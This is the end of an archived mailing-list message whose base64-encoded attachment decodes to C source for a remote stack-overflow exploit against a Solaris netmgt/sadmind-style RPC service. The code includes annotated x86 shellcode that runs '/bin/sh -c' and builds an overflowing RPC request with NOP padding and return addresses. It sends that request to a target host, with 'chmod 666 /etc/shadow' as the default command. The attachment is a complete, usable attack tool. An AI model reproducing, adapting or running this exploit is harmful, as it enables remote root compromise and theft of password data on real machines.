    ICAgICAgICAgICAgICAgICAgICAgLyogbW92YiAlYWwsLTB4MSglZWRpKSAg
    ICovDQovKiAgNTggKi8gIlx4ODlceDQ2XHgwYyIgICAgICAgICAgICAgICAg
    ICAgICAvKiBtb3ZsICVlYXgsMHhjKCVlc2kpICAgKi8NCi8qICA2MSAqLyAi
    XHhiMFx4M2IiICAgICAgICAgICAgICAgICAgICAgICAgIC8qIG1vdmIgJDB4
    M2IsJWFsICAgICAgICAqLw0KLyogIDYzICovICJceGU4XHhiZVx4ZmZceGZm
    XHhmZiIgICAgICAgICAgICAgLyogY2FsbCBzeXNjYWxsICAgICAgICAgICov
    DQovKiAgNjggKi8gIlx4ODNceGM0XHgwYyIgICAgICAgICAgICAgICAgICAg
    ICAvKiBhZGRsICQweGMsJWVzcCAgICAgICAgKi8NCi8qIHNwcmluZ2JvYXJk
    OiAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAg
    ICAgICAgICAgICAqLw0KLyogIDcxICovICJceGU4XHhiZVx4ZmZceGZmXHhm
    ZiIgICAgICAgICAgICAgLyogY2FsbCBzdGFydCAgICAgICAgICAgICovDQov
    KiBkYXRhOiAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAg
    ICAgICAgICAgICAgICAgICAgICAgICAgKi8NCi8qICA3NiAqLyAiXHhmZlx4
    ZmZceGZmXHhmZiIgICAgICAgICAgICAgICAgIC8qIERBVEEgICAgICAgICAg
    ICAgICAgICAqLw0KLyogIDgwICovICJceGZmXHhmZlx4ZmZceGZmIiAgICAg
    ICAgICAgICAgICAgLyogREFUQSAgICAgICAgICAgICAgICAgICovDQovKiAg
    ODQgKi8gIlx4ZmZceGZmXHhmZlx4ZmYiICAgICAgICAgICAgICAgICAvKiBE
    QVRBICAgICAgICAgICAgICAgICAgKi8NCi8qICA4OCAqLyAiXHhmZlx4ZmZc
    eGZmXHhmZiIgICAgICAgICAgICAgICAgIC8qIERBVEEgICAgICAgICAgICAg
    ICAgICAqLw0KLyogIDkyICovICJceDJmXHg2Mlx4NjlceDZlXHgyZlx4NzNc
    eDY4XHhmZiIgLyogREFUQSAgICAgICAgICAgICAgICAgICovDQovKiAxMDAg
    Ki8gIlx4MmRceDYzXHhmZiI7ICAgICAgICAgICAgICAgICAgICAvKiBEQVRB
    ICAgICAgICAgICAgICAgICAgKi8NCg0KZXh0ZXJuIGNoYXIgKm9wdGFyZzsN
    Cg0Kc3RydWN0IG5tX3NlbmRfaGVhZGVyIHsNCiAgICBzdHJ1Y3QgdGltZXZh
    bCB0aW1ldmFsMTsNCiAgICBzdHJ1Y3QgdGltZXZhbCB0aW1ldmFsMjsNCiAg
    ICBzdHJ1Y3QgdGltZXZhbCB0aW1ldmFsMzsNCiAgICB1bnNpZ25lZCBpbnQg
    dWludDE7DQogICAgdW5zaWduZWQgaW50IHVpbnQyOw0KICAgIHVuc2lnbmVk
    IGludCB1aW50MzsNCiAgICB1bnNpZ25lZCBpbnQgdWludDQ7DQogICAgdW5z
    aWduZWQgaW50IHVpbnQ1Ow0KICAgIHN0cnVjdCBpbl9hZGRyIGluYWRkcjE7
    DQogICAgc3RydWN0IGluX2FkZHIgaW5hZGRyMjsNCiAgICB1bnNpZ25lZCBs
    b25nIHVsb25nMTsNCiAgICB1bnNpZ25lZCBsb25nIHVsb25nMjsNCiAgICBz
    dHJ1Y3QgaW5fYWRkciBpbmFkZHIzOw0KICAgIHVuc2lnbmVkIGxvbmcgdWxv
    bmczOw0KICAgIHVuc2lnbmVkIGxvbmcgdWxvbmc0Ow0KICAgIHVuc2lnbmVk
    IGxvbmcgdWxvbmc1Ow0KICAgIHN0cnVjdCB0aW1ldmFsIHRpbWV2YWw0Ow0K
    ICAgIHVuc2lnbmVkIGludCB1aW50NjsNCiAgICBzdHJ1Y3QgdGltZXZhbCB0
    aW1ldmFsNTsNCiAgICBjaGFyICpzdHJpbmcxOw0KICAgIGNoYXIgKnN0cmlu
    ZzI7DQogICAgY2hhciAqc3RyaW5nMzsNCiAgICB1bnNpZ25lZCBpbnQgdWlu
    dDc7DQp9Ow0KDQpzdHJ1Y3Qgbm1fc2VuZF9hcmdfaW50IHsNCiAgICBjaGFy
    ICpzdHJpbmcxOw0KICAgIHVuc2lnbmVkIGludCB1aW50MTsNCiAgICB1bnNp
    Z25lZCBpbnQgdWludDI7DQogICAgaW50IGludDE7DQogICAgdW5zaWduZWQg
    aW50IHVpbnQzOw0KICAgIHVuc2lnbmVkIGludCB1aW50NDsNCn07DQoNCnN0
    cnVjdCBubV9zZW5kX2FyZ19zdHJpbmcgew0KICAgIGNoYXIgKnN0cmluZzE7
    DQogICAgdW5zaWduZWQgaW50IHVpbnQxOw0KICAgIHVuc2lnbmVkIGludCB1
    aW50MjsNCiAgICBjaGFyICpzdHJpbmcyOw0KICAgIHVuc2lnbmVkIGludCB1
    aW50MzsNCiAgICB1bnNpZ25lZCBpbnQgdWludDQ7DQp9Ow0KDQpzdHJ1Y3Qg
    bm1fc2VuZF9mb290ZXIgew0KICAgIGNoYXIgKnN0cmluZzE7DQp9Ow0KDQpz
    dHJ1Y3Qgbm1fc2VuZCB7DQogICAgc3RydWN0IG5tX3NlbmRfaGVhZGVyIGhl
    YWRlcjsNCiAgICBzdHJ1Y3Qgbm1fc2VuZF9hcmdfaW50IHZlcnNpb247DQog
    ICAgc3RydWN0IG5tX3NlbmRfYXJnX3N0cmluZyBzdHJpbmc7DQogICAgc3Ry
    dWN0IG5tX3NlbmRfYXJnX2ludCBmZW5jZTsNCiAgICBzdHJ1Y3Qgbm1fc2Vu
    ZF9mb290ZXIgZm9vdGVyOw0KfTsNCg0Kc3RydWN0IG5tX3JlcGx5IHsNCiAg
    ICB1bnNpZ25lZCBpbnQgdWludDE7DQogICAgdW5zaWduZWQgaW50IHVpbnQy
    Ow0KICAgIGNoYXIgKnN0cmluZzE7DQp9Ow0KDQpib29sX3QNCnhkcl9ubV9z
    ZW5kX2hlYWRlcihYRFIgKnhkcnMsIHN0cnVjdCBubV9zZW5kX2hlYWRlciAq
    b2JqcCkNCnsNCiAgICBjaGFyICphZGRyOw0KICAgIHNpemVfdCBzaXplID0g
    c2l6ZW9mKHN0cnVjdCBpbl9hZGRyKTsNCg0KICAgIGlmICgheGRyX2xvbmco
    eGRycywgJm9ianAtPnRpbWV2YWwxLnR2X3NlYykpDQoJcmV0dXJuIChGQUxT
    RSk7DQogICAgaWYgKCF4ZHJfbG9uZyh4ZHJzLCAmb2JqcC0+dGltZXZhbDEu
    dHZfdXNlYykpDQoJcmV0dXJuIChGQUxTRSk7DQogICAgaWYgKCF4ZHJfbG9u
    Zyh4ZHJzLCAmb2JqcC0+dGltZXZhbDIudHZfc2VjKSkNCglyZXR1cm4gKEZB
    TFNFKTsNCiAgICBpZiAoIXhkcl9sb25nKHhkcnMsICZvYmpwLT50aW1ldmFs
    Mi50dl91c2VjKSkNCglyZXR1cm4gKEZBTFNFKTsNCiAgICBpZiAoIXhkcl9s
    b25nKHhkcnMsICZvYmpwLT50aW1ldmFsMy50dl9zZWMpKQ0KCXJldHVybiAo
    RkFMU0UpOw0KICAgIGlmICgheGRyX2xvbmcoeGRycywgJm9ianAtPnRpbWV2
    YWwzLnR2X3VzZWMpKQ0KCXJldHVybiAoRkFMU0UpOw0KICAgIGlmICgheGRy
    X3VfaW50KHhkcnMsICZvYmpwLT51aW50MSkpDQoJcmV0dXJuIChGQUxTRSk7
    DQogICAgaWYgKCF4ZHJfdV9pbnQoeGRycywgJm9ianAtPnVpbnQyKSkNCgly
    ZXR1cm4gKEZBTFNFKTsNCiAgICBpZiAoIXhkcl91X2ludCh4ZHJzLCAmb2Jq
    cC0+dWludDMpKQ0KCXJldHVybiAoRkFMU0UpOw0KICAgIGlmICgheGRyX3Vf
    aW50KHhkcnMsICZvYmpwLT51aW50NCkpDQoJcmV0dXJuIChGQUxTRSk7DQog
    ICAgaWYgKCF4ZHJfdV9pbnQoeGRycywgJm9ianAtPnVpbnQ1KSkNCglyZXR1
    cm4gKEZBTFNFKTsNCiAgICBhZGRyID0gKGNoYXIgKikgJm9ianAtPmluYWRk
    cjEuc19hZGRyOw0KICAgIGlmICgheGRyX2J5dGVzKHhkcnMsICZhZGRyLCAm
    c2l6ZSwgc2l6ZSkpDQoJcmV0dXJuIChGQUxTRSk7DQogICAgYWRkciA9IChj
    aGFyICopICZvYmpwLT5pbmFkZHIyLnNfYWRkcjsNCiAgICBpZiAoIXhkcl9i
    eXRlcyh4ZHJzLCAmYWRkciwgJnNpemUsIHNpemUpKQ0KCXJldHVybiAoRkFM
    U0UpOw0KICAgIGlmICgheGRyX3VfbG9uZyh4ZHJzLCAmb2JqcC0+dWxvbmcx
    KSkNCglyZXR1cm4gKEZBTFNFKTsNCiAgICBpZiAoIXhkcl91X2xvbmcoeGRy
    cywgJm9ianAtPnVsb25nMikpDQoJcmV0dXJuIChGQUxTRSk7DQogICAgYWRk
    ciA9IChjaGFyICopICZvYmpwLT5pbmFkZHIzLnNfYWRkcjsNCiAgICBpZiAo
    IXhkcl9ieXRlcyh4ZHJzLCAmYWRkciwgJnNpemUsIHNpemUpKQ0KCXJldHVy
    biAoRkFMU0UpOw0KICAgIGlmICgheGRyX3VfbG9uZyh4ZHJzLCAmb2JqcC0+
    dWxvbmczKSkNCglyZXR1cm4gKEZBTFNFKTsNCiAgICBpZiAoIXhkcl91X2xv
    bmcoeGRycywgJm9ianAtPnVsb25nNCkpDQoJcmV0dXJuIChGQUxTRSk7DQog
    ICAgaWYgKCF4ZHJfdV9sb25nKHhkcnMsICZvYmpwLT51bG9uZzUpKQ0KCXJl
    dHVybiAoRkFMU0UpOw0KICAgIGlmICgheGRyX2xvbmcoeGRycywgJm9ianAt
    PnRpbWV2YWw0LnR2X3NlYykpDQoJcmV0dXJuIChGQUxTRSk7DQogICAgaWYg
    KCF4ZHJfbG9uZyh4ZHJzLCAmb2JqcC0+dGltZXZhbDQudHZfdXNlYykpDQoJ
    cmV0dXJuIChGQUxTRSk7DQogICAgaWYgKCF4ZHJfdV9pbnQoeGRycywgJm9i
    anAtPnVpbnQ2KSkNCglyZXR1cm4gKEZBTFNFKTsNCiAgICBpZiAoIXhkcl9s
    b25nKHhkcnMsICZvYmpwLT50aW1ldmFsNS50dl9zZWMpKQ0KCXJldHVybiAo
    RkFMU0UpOw0KICAgIGlmICgheGRyX2xvbmcoeGRycywgJm9ianAtPnRpbWV2
    YWw1LnR2X3VzZWMpKQ0KCXJldHVybiAoRkFMU0UpOw0KICAgIGlmICgheGRy
    X3dyYXBzdHJpbmcoeGRycywgJm9ianAtPnN0cmluZzEpKQ0KCXJldHVybiAo
    RkFMU0UpOw0KICAgIGlmICgheGRyX3dyYXBzdHJpbmcoeGRycywgJm9ianAt
    PnN0cmluZzIpKQ0KCXJldHVybiAoRkFMU0UpOw0KICAgIGlmICgheGRyX3dy
    YXBzdHJpbmcoeGRycywgJm9ianAtPnN0cmluZzMpKQ0KCXJldHVybiAoRkFM
    U0UpOw0KICAgIGlmICgheGRyX3VfaW50KHhkcnMsICZvYmpwLT51aW50Nykp
    DQoJcmV0dXJuIChGQUxTRSk7DQogICAgcmV0dXJuIChUUlVFKTsNCn0NCg0K
    Ym9vbF90DQp4ZHJfbm1fc2VuZF9hcmdfaW50KFhEUiAqeGRycywgc3RydWN0
    IG5tX3NlbmRfYXJnX2ludCAqb2JqcCkNCnsNCiAgICBpZiAoIXhkcl93cmFw
    c3RyaW5nKHhkcnMsICZvYmpwLT5zdHJpbmcxKSkNCglyZXR1cm4gKEZBTFNF
    KTsNCiAgICBpZiAoIXhkcl91X2ludCh4ZHJzLCAmb2JqcC0+dWludDEpKQ0K
    CXJldHVybiAoRkFMU0UpOw0KICAgIGlmICgheGRyX3VfaW50KHhkcnMsICZv
    YmpwLT51aW50MikpDQoJcmV0dXJuIChGQUxTRSk7DQogICAgaWYgKCF4ZHJf
    aW50KHhkcnMsICZvYmpwLT5pbnQxKSkNCglyZXR1cm4gKEZBTFNFKTsNCiAg
    ICBpZiAoIXhkcl91X2ludCh4ZHJzLCAmb2JqcC0+dWludDMpKQ0KCXJldHVy
    biAoRkFMU0UpOw0KICAgIGlmICgheGRyX3VfaW50KHhkcnMsICZvYmpwLT51
    aW50NCkpDQoJcmV0dXJuIChGQUxTRSk7DQogICAgcmV0dXJuIChUUlVFKTsN
    Cn0NCg0KYm9vbF90DQp4ZHJfbm1fc2VuZF9hcmdfc3RyaW5nKFhEUiAqeGRy
    cywgc3RydWN0IG5tX3NlbmRfYXJnX3N0cmluZyAqb2JqcCkNCnsNCiAgICBp
    ZiAoIXhkcl93cmFwc3RyaW5nKHhkcnMsICZvYmpwLT5zdHJpbmcxKSkNCgly
    ZXR1cm4gKEZBTFNFKTsNCiAgICBpZiAoIXhkcl91X2ludCh4ZHJzLCAmb2Jq
    cC0+dWludDEpKQ0KCXJldHVybiAoRkFMU0UpOw0KICAgIGlmICgheGRyX3Vf
    aW50KHhkcnMsICZvYmpwLT51aW50MikpDQoJcmV0dXJuIChGQUxTRSk7DQog
    ICAgaWYgKCF4ZHJfd3JhcHN0cmluZyh4ZHJzLCAmb2JqcC0+c3RyaW5nMikp
    DQoJcmV0dXJuIChGQUxTRSk7DQogICAgaWYgKCF4ZHJfdV9pbnQoeGRycywg
    Jm9ianAtPnVpbnQzKSkNCglyZXR1cm4gKEZBTFNFKTsNCiAgICBpZiAoIXhk
    cl91X2ludCh4ZHJzLCAmb2JqcC0+dWludDQpKQ0KCXJldHVybiAoRkFMU0Up
    Ow0KICAgIHJldHVybiAoVFJVRSk7DQp9DQoNCmJvb2xfdA0KeGRyX25tX3Nl
    bmRfZm9vdGVyKFhEUiAqeGRycywgc3RydWN0IG5tX3NlbmRfZm9vdGVyICpv
    YmpwKQ0Kew0KICAgIGlmICgheGRyX3dyYXBzdHJpbmcoeGRycywgJm9ianAt
    PnN0cmluZzEpKQ0KCXJldHVybiAoRkFMU0UpOw0KICAgIHJldHVybiAoVFJV
    RSk7DQp9DQoNCmJvb2xfdA0KeGRyX25tX3NlbmQoWERSICp4ZHJzLCBzdHJ1
    Y3Qgbm1fc2VuZCAqb2JqcCkNCnsNCiAgICBpZiAoIXhkcl9ubV9zZW5kX2hl
    YWRlcih4ZHJzLCAmb2JqcC0+aGVhZGVyKSkNCglyZXR1cm4gKEZBTFNFKTsN
    CiAgICBpZiAoIXhkcl9ubV9zZW5kX2FyZ19pbnQoeGRycywgJm9ianAtPnZl
    cnNpb24pKQ0KCXJldHVybiAoRkFMU0UpOw0KICAgIGlmICgheGRyX25tX3Nl
    bmRfYXJnX3N0cmluZyh4ZHJzLCAmb2JqcC0+c3RyaW5nKSkNCglyZXR1cm4g
    KEZBTFNFKTsNCiAgICBpZiAoIXhkcl9ubV9zZW5kX2FyZ19pbnQoeGRycywg
    Jm9ianAtPmZlbmNlKSkNCglyZXR1cm4gKEZBTFNFKTsNCiAgICBpZiAoIXhk
    cl9ubV9zZW5kX2Zvb3Rlcih4ZHJzLCAmb2JqcC0+Zm9vdGVyKSkNCglyZXR1
    cm4gKEZBTFNFKTsNCiAgICByZXR1cm4gKFRSVUUpOw0KfQ0KDQpib29sX3QN
    Cnhkcl9ubV9yZXBseShYRFIgKnhkcnMsIHN0cnVjdCBubV9yZXBseSAqb2Jq
    cCkNCnsNCiAgICBpZiAoIXhkcl91X2ludCh4ZHJzLCAmb2JqcC0+dWludDEp
    KQ0KCXJldHVybiAoRkFMU0UpOw0KICAgIGlmICgheGRyX3VfaW50KHhkcnMs
    ICZvYmpwLT51aW50MikpDQoJcmV0dXJuIChGQUxTRSk7DQogICAgaWYgKCF4
    ZHJfd3JhcHN0cmluZyh4ZHJzLCAmb2JqcC0+c3RyaW5nMSkpDQoJcmV0dXJu
    IChGQUxTRSk7DQogICAgcmV0dXJuIChUUlVFKTsNCn0NCg0KaW50DQptYWlu
    KGludCBhcmdjLCBjaGFyICphcmd2W10pDQp7DQogICAgQ0xJRU5UICpjbDsN
    CiAgICBzdHJ1Y3Qgbm1fc2VuZCBzZW5kOw0KICAgIHN0cnVjdCBubV9yZXBs
    eSByZXBseTsNCiAgICBzdHJ1Y3QgdGltZXZhbCB0bTsNCiAgICBlbnVtIGNs
    bnRfc3RhdCBzdGF0Ow0KICAgIGludCBjLCBpLCBsZW4sIHNsZW4sIGNsZW47
    DQogICAgY2hhciAqcHJvZ3JhbSwgKmNwLCBidWZbQlVGTEVOKzFdOw0KICAg
    IGNoYXIgKmhvc3RuYW1lLCAqY29tbWFuZDsNCiAgICBpbnQganVuayA9IDAs
    IG9mZnNldCwgYWxpZ25tZW50LCBwaW5naW5nID0gMDsNCiAgICB1bnNpZ25l
    ZCBsb25nIGludCBzcCA9IDAsIGFkZHI7DQoNCiAgICBwcm9ncmFtID0gYXJn
    dlswXTsNCiAgICBob3N0bmFtZSA9ICJsb2NhbGhvc3QiOw0KICAgIGNvbW1h
    bmQgPSAiY2htb2QgNjY2IC9ldGMvc2hhZG93IjsNCiAgICBvZmZzZXQgPSBP
    RkZTRVQ7IGFsaWdubWVudCA9IEFMSUdOTUVOVDsNCiAgICB3aGlsZSAoKGMg
    PSBnZXRvcHQoYXJnYywgYXJndiwgImg6YzpzOmo6bzphOnAiKSkgIT0gRU9G
    KSB7DQoJc3dpdGNoIChjKSB7DQoJY2FzZSAnaCc6DQoJICAgIGhvc3RuYW1l
    ID0gb3B0YXJnOw0KCSAgICBicmVhazsNCgljYXNlICdjJzoNCgkgICAgY29t
    bWFuZCA9IG9wdGFyZzsgDQoJICAgIGJyZWFrOw0KCWNhc2UgJ3MnOg0KCSAg
    ICBzcCA9IHN0cnRvdWwob3B0YXJnLCBOVUxMLCAwKTsNCgkgICAgYnJlYWs7
    DQoJY2FzZSAnaic6DQoJICAgIGp1bmsgPSAoaW50KSBzdHJ0b2wob3B0YXJn
    LCBOVUxMLCAwKTsNCgkgICAgYnJlYWs7DQoJY2FzZSAnbyc6DQoJICAgIG9m
    ZnNldCA9IChpbnQpIHN0cnRvbChvcHRhcmcsIE5VTEwsIDApOw0KCSAgICBi
    cmVhazsNCgljYXNlICdhJzoNCgkgICAgYWxpZ25tZW50ID0gKGludCkgc3Ry
    dG9sKG9wdGFyZywgTlVMTCwgMCk7DQoJICAgIGJyZWFrOw0KCWNhc2UgJ3An
    Og0KCSAgICBwaW5naW5nID0gMTsNCgkgICAgYnJlYWs7DQoJZGVmYXVsdDoN
    CgkgICAgZnByaW50ZihzdGRlcnIsICJ1c2FnZTogJXMgLWggaG9zdG5hbWUg
    LWMgY29tbWFuZCAtcyBzcCAtaiBqdW5rICINCgkJICAgICJbLW8gb2Zmc2V0
    XSBbLWEgYWxpZ25tZW50XSBbLXBdXG4iLCBwcm9ncmFtKTsNCgkgICAgZXhp
    dCgxKTsNCgkgICAgYnJlYWs7DQoJfQ0KICAgIH0NCiAgICBtZW1zZXQoYnVm
    LCBOT1AsIEJVRkxFTik7DQogICAganVuayAmPSAweGZmZmZmZmZjOw0KICAg
    IGZvciAoaSA9IDAsIGNwID0gYnVmICsgYWxpZ25tZW50OyBpIDwganVuayAv
    IDQ7IGkrKykgew0KCSpjcCsrID0gKHNwID4+ICAwKSAmIDB4ZmY7DQoJKmNw
    KysgPSAoc3AgPj4gIDgpICYgMHhmZjsNCgkqY3ArKyA9IChzcCA+PiAxNikg
    JiAweGZmOw0KCSpjcCsrID0gKHNwID4+IDI0KSAmIDB4ZmY7DQogICAgfQ0K
    ICAgIGFkZHIgPSBzcCArIG9mZnNldDsNCiAgICBmb3IgKGkgPSAwOyBpIDwg
    QUREUkxFTiAvIDQ7IGkrKykgew0KCSpjcCsrID0gKGFkZHIgPj4gIDApICYg
    MHhmZjsNCgkqY3ArKyA9IChhZGRyID4+ICA4KSAmIDB4ZmY7DQoJKmNwKysg
    PSAoYWRkciA+PiAxNikgJiAweGZmOw0KCSpjcCsrID0gKGFkZHIgPj4gMjQp
    ICYgMHhmZjsNCiAgICB9DQogICAgc2xlbiA9IHN0cmxlbihzaGVsbCk7IGNs
    ZW4gPSBzdHJsZW4oY29tbWFuZCk7DQogICAgbGVuID0gY2xlbjsgbGVuKys7
    IGxlbiA9IC1sZW47DQogICAgc2hlbGxbTEVOKzBdID0gKGxlbiA+PiAgMCkg
    JiAweGZmOw0KICAgIHNoZWxsW0xFTisxXSA9IChsZW4gPj4gIDgpICYgMHhm
    ZjsNCiAgICBzaGVsbFtMRU4rMl0gPSAobGVuID4+IDE2KSAmIDB4ZmY7DQog
    ICAgc2hlbGxbTEVOKzNdID0gKGxlbiA+PiAyNCkgJiAweGZmOw0KICAgIGNw
    ID0gYnVmICsgQlVGTEVOIC0gMSAtIGNsZW4gLSBzbGVuOw0KICAgIG1lbWNw
    eShjcCwgc2hlbGwsIHNsZW4pOyBjcCArPSBzbGVuOw0KICAgIG1lbWNweShj
    cCwgY29tbWFuZCwgY2xlbik7IGNwICs9IGNsZW47DQogICAgKmNwID0gJ1x4
    ZmYnOw0KICAgIGJ1ZltCVUZMRU5dID0gJ1wwJzsNCiAgICBtZW1zZXQoJnNl
    bmQsIDAsIHNpemVvZihzdHJ1Y3Qgbm1fc2VuZCkpOw0KICAgIHNlbmQuaGVh
    ZGVyLnVpbnQyID0gTkVUTUdUX0hFQURFUl9UWVBFOw0KICAgIHNlbmQuaGVh
    ZGVyLnN0cmluZzEgPSAiIjsNCiAgICBzZW5kLmhlYWRlci5zdHJpbmcyID0g
    IiI7DQogICAgc2VuZC5oZWFkZXIuc3RyaW5nMyA9ICIiOw0KICAgIHNlbmQu
    aGVhZGVyLnVpbnQ3ID0NCglzdHJsZW4oQURNX0ZXX1ZFUlNJT04pICsgMSAr
    DQoJKDQgKiBzaXplb2YodW5zaWduZWQgaW50KSkgKyBzaXplb2YoaW50KSAr
    DQoJc3RybGVuKEFETV9DTElFTlRfRE9NQUlOKSArIDEgKw0KCSg0ICogc2l6
    ZW9mKHVuc2lnbmVkIGludCkpICsgc3RybGVuKGJ1ZikgKyAxICsNCglzdHJs
    ZW4oQURNX0ZFTkNFKSArIDEgKw0KCSg0ICogc2l6ZW9mKHVuc2lnbmVkIGlu
    dCkpICsgc2l6ZW9mKGludCkgKw0KCXN0cmxlbihORVRNR1RfRU5ET0ZBUkdT
    KSArIDE7DQogICAgc2VuZC52ZXJzaW9uLnN0cmluZzEgPSBBRE1fRldfVkVS
    U0lPTjsNCiAgICBzZW5kLnZlcnNpb24udWludDEgPSBORVRNR1RfQVJHX0lO
    VDsNCiAgICBzZW5kLnZlcnNpb24udWludDIgPSBzaXplb2YoaW50KTsNCiAg
    ICBzZW5kLnZlcnNpb24uaW50MSA9IDE7DQogICAgc2VuZC5zdHJpbmcuc3Ry
    aW5nMSA9IEFETV9DTElFTlRfRE9NQUlOOw0KICAgIHNlbmQuc3RyaW5nLnVp
    bnQxID0gTkVUTUdUX0FSR19TVFJJTkc7DQogICAgc2VuZC5zdHJpbmcudWlu
    dDIgPSBzdHJsZW4oYnVmKTsNCiAgICBzZW5kLnN0cmluZy5zdHJpbmcyID0g
    YnVmOw0KICAgIHNlbmQuZmVuY2Uuc3RyaW5nMSA9IEFETV9GRU5DRTsNCiAg
    ICBzZW5kLmZlbmNlLnVpbnQxID0gTkVUTUdUX0FSR19JTlQ7DQogICAgc2Vu
    ZC5mZW5jZS51aW50MiA9IHNpemVvZihpbnQpOw0KICAgIHNlbmQuZmVuY2Uu
    aW50MSA9IDY2NjsNCiAgICBzZW5kLmZvb3Rlci5zdHJpbmcxID0gTkVUTUdU
    X0VORE9GQVJHUzsNCiAgICBjbCA9IGNsbnRfY3JlYXRlKGhvc3RuYW1lLCBO
    RVRNR1RfUFJPRywgTkVUTUdUX1ZFUlMsICJ1ZHAiKTsNCiAgICBpZiAoY2wg
    PT0gTlVMTCkgew0KCWNsbnRfcGNyZWF0ZWVycm9yKCJjbG50X2NyZWF0ZSIp
    Ow0KCWV4aXQoMSk7DQogICAgfQ0KICAgIGNsLT5jbF9hdXRoID0gYXV0aHVu
    aXhfY3JlYXRlKCJsb2NhbGhvc3QiLCAwLCAwLCAwLCBOVUxMKTsNCiAgICBp
    ZiAoIXBpbmdpbmcpIHsNCglmcHJpbnRmKHN0ZG91dCwNCgkJIiUlZXNwIDB4
    JTA4bHggb2Zmc2V0ICVkIC0tPiByZXR1cm4gYWRkcmVzcyAweCUwOGx4IFsl
    ZCslZF1cbiIsDQoJCXNwLCBvZmZzZXQsIGFkZHIsIGFsaWdubWVudCwganVu
    ayk7DQoJdG0udHZfc2VjID0gTkVUTUdUX1VEUF9TRVJWSUNFX1RJTUVPVVQ7
    IHRtLnR2X3VzZWMgPSAwOw0KCWlmICghY2xudF9jb250cm9sKGNsLCBDTFNF
    VF9USU1FT1VULCAoY2hhciAqKSAmdG0pKSB7DQoJICAgIGZwcmludGYoc3Rk
    ZXJyLCAiZXhwbG9pdCBmYWlsZWQ7IHVuYWJsZSB0byBzZXQgdGltZW91dFxu
    Iik7DQoJICAgIGV4aXQoMSk7DQoJfQ0KCXRtLnR2X3NlYyA9IE5FVE1HVF9V
    RFBfU0VSVklDRV9SRVRSWV9USU1FT1VUOyB0bS50dl91c2VjID0gMDsNCglp
    ZiAoIWNsbnRfY29udHJvbChjbCwgQ0xTRVRfUkVUUllfVElNRU9VVCwgKGNo
    YXIgKikgJnRtKSkgew0KCSAgICBmcHJpbnRmKHN0ZGVyciwgImV4cGxvaXQg
    ZmFpbGVkOyB1bmFibGUgdG8gc2V0IHRpbWVvdXRcbiIpOw0KCSAgICBleGl0
    KDEpOw0KCX0NCglzdGF0ID0gY2xudF9jYWxsKGNsLCBORVRNR1RfUFJPQ19T
    RVJWSUNFLA0KCQkJIHhkcl9ubV9zZW5kLCAoY2FkZHJfdCkgJnNlbmQsDQoJ
    CQkgeGRyX25tX3JlcGx5LCAoY2FkZHJfdCkgJnJlcGx5LCB0bSk7DQoJaWYg
    KHN0YXQgIT0gUlBDX1NVQ0NFU1MpIHsNCgkgICAgY2xudF9wZXJyb3IoY2ws
    ICJjbG50X2NhbGwiKTsNCgkgICAgZnByaW50ZihzdGRvdXQsICJub3cgY2hl
    Y2sgaWYgZXhwbG9pdCB3b3JrZWQ7ICINCgkJICAgICJSUEMgZmFpbHVyZSB3
    YXMgZXhwZWN0ZWRcbiIpOw0KCSAgICBleGl0KDApOw0KCX0NCglmcHJpbnRm
    KHN0ZGVyciwgImV4cGxvaXQgZmFpbGVkOyAiDQoJCSJSUEMgc3VjY2VlZGVk
    IGFuZCByZXR1cm5lZCB7ICV1LCAldSwgXCIlc1wiIH1cbiIsDQoJCXJlcGx5
    LnVpbnQxLCByZXBseS51aW50MiwgcmVwbHkuc3RyaW5nMSk7DQoJY2xudF9k
    ZXN0cm95KGNsKTsNCglleGl0KDEpOw0KICAgIH0gZWxzZSB7DQoJdG0udHZf
    c2VjID0gTkVUTUdUX1VEUF9QSU5HX1RJTUVPVVQ7IHRtLnR2X3VzZWMgPSAw
    Ow0KCWlmICghY2xudF9jb250cm9sKGNsLCBDTFNFVF9USU1FT1VULCAoY2hh
    ciAqKSAmdG0pKSB7DQoJICAgIGZwcmludGYoc3RkZXJyLCAiZXhwbG9pdCBm
    YWlsZWQ7IHVuYWJsZSB0byBzZXQgdGltZW91dFxuIik7DQoJICAgIGV4aXQo
    MSk7DQoJfQ0KCXRtLnR2X3NlYyA9IE5FVE1HVF9VRFBfUElOR19SRVRSWV9U
    SU1FT1VUOyB0bS50dl91c2VjID0gMDsNCglpZiAoIWNsbnRfY29udHJvbChj
    bCwgQ0xTRVRfUkVUUllfVElNRU9VVCwgKGNoYXIgKikgJnRtKSkgew0KCSAg
    ICBmcHJpbnRmKHN0ZGVyciwgImV4cGxvaXQgZmFpbGVkOyB1bmFibGUgdG8g
    c2V0IHRpbWVvdXRcbiIpOw0KCSAgICBleGl0KDEpOw0KCX0NCglzdGF0ID0g
    Y2xudF9jYWxsKGNsLCBORVRNR1RfUFJPQ19QSU5HLA0KCQkJIHhkcl92b2lk
    LCBOVUxMLA0KCQkJIHhkcl92b2lkLCBOVUxMLCB0bSk7DQoJaWYgKHN0YXQg
    IT0gUlBDX1NVQ0NFU1MpIHsNCgkgICAgY2xudF9wZXJyb3IoY2wsICJjbG50
    X2NhbGwiKTsNCgkgICAgZXhpdCgxKTsNCgl9DQoJY2xudF9kZXN0cm95KGNs
    KTsNCglleGl0KDApOw0KICAgIH0NCn0NCg==
    
    --0-1957747793-944864183=:20191--
    



    This archive was generated by hypermail 2b30 : Fri Apr 13 2001 - 15:20:04 PDT